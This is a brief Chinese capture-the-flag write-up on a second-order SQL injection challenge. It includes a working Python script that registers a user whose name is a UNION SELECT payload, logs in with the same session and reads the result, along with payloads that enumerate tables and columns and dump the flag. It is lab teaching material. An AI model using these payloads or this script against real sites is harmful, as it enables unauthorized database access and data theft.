October 2019 Twice SQL Injection
知识点:
- sql二次注入
- 学习脚本编写
- Mongodb数据库的一些了解
题解:
我自己独立测试的时候,发现了转义 ==> 二次注入;其他没发现什么了。。。
怎么说呢,我觉得这个题适合我们练习脚本的编写,方法是最简单的联合注入(union select),但需要保持会话(session)
注入点:注册页面的Username处
回显点:用注册好的登录进去
import requests
from bs4 import BeautifulSoup
url = "http://795fc04e-64d9-4217-939c-f766000be17b.node5.buuoj.cn:81/?action="
# payload注入在url1上,保持会话,登录查询回显
# 查数据库名字: ctftraining
# payload = "1' union select database()#"
# 查表名 flag,news,users
# payload = "1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#"
# 查列名 flag
# payload = "1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#"
# 查字段值
payload = "1' union select flag from flag#"
url1 = url + "reg"
url2 = url + "login"
data = {
'username':payload,
'password':'1'
}
r = requests.session() # 保持会话,因为这个题的环境涉及了登录
res1 = r.post(url=url1, data=data)
res2 = r.post(url=url2, data=data)
html = res2.text
soup = BeautifulSoup(html, 'html.parser')
result = soup.div.text
print("[*]" + result)
这里的bs4模块,只是让结果更简洁,去掉了html的标签,不要这个也没事,下载方法自己百度吧,因为我也是百度的,我自己只会pip instlal +模块名字 -i 清华源
无非就是注意自己的python版本,有时候编者用的python2编写,但你的环境是python3, 而有些模块在不同python版本的名字是不一样的
下载模块的时候无非就是注意这几点,其他没什么的。